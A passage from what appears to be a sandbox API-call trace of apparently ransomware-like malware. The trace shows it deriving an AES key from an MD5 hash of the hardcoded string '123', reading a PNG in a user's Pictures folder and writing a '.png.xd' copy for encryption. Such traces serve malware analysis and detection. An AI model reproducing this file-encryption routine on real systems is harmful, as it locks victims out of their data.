lpdwIndex=0x130ee1c*=0x1) returned 1 [0061.020] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0061.020] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0061.020] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629500, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629500*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0061.020] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.021] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.021] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.021] CloseHandle (hObject=0x0) returned 0 [0061.021] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.021] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0061.021] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0061.021] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.021] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.021] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.022] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.022] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.022] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.022] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0061.022] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.022] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.022] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0061.022] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.022] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.022] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.022] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.022] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.022] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0061.022] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0061.023] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0061.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0061.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0061.023] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0061.023] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9e78) returned 1 [0061.024] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.024] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.024] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0061.024] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.024] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.024] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.024] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.024] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.024] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.024] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.024] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.024] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.024] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.024] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.024] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.025] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0061.025] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.025] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.025] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.025] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.025] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.025] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.025] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.025] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.025] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.025] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.025] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.026] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.027] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.027] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.027] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.027] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.027] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.027] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.028] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0061.028] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0061.028] CryptCreateHash (in: hProv=0x17a9e78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0061.028] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.028] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.028] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.028] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629500, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.028] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0061.028] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.029] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.029] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.029] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.029] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0061.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621810, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0061.029] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0061.029] CryptHashData (hHash=0x164c2b0, pbData=0x1629340, dwDataLen=0x3, dwFlags=0x1) returned 1 [0061.029] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.029] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.029] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.029] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.030] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.030] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.030] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.030] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0061.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621888, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0061.030] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0061.030] CryptDeriveKey (in: hProv=0x17a9e78, Algid=0x6610, hBaseData=0x164c2b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c430) returned 1 [0061.030] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.030] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.030] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.030] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.030] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.030] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.030] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0061.031] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0061.031] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0061.031] CryptDestroyHash (hHash=0x164c2b0) returned 1 [0061.031] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.031] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.031] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.031] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.031] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.031] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\z4jy f_\\1s3unqm4lxbl.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0061.032] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.032] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0061.032] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.032] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.032] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.032] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\z4jy f_")) returned 0x10 [0061.033] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\z4jy f_\\1s3unqm4lxbl.png.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0061.033] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.033] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.033] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.033] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.035] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0061.035] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x9e94, lpOverlapped=0x0) returned 1 [0061.039] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0061.042] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.042] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.042] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.042] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0061.043] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.043] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.043] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0061.043] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.043] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0061.043] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.043] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.043] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.043] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0061.043] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 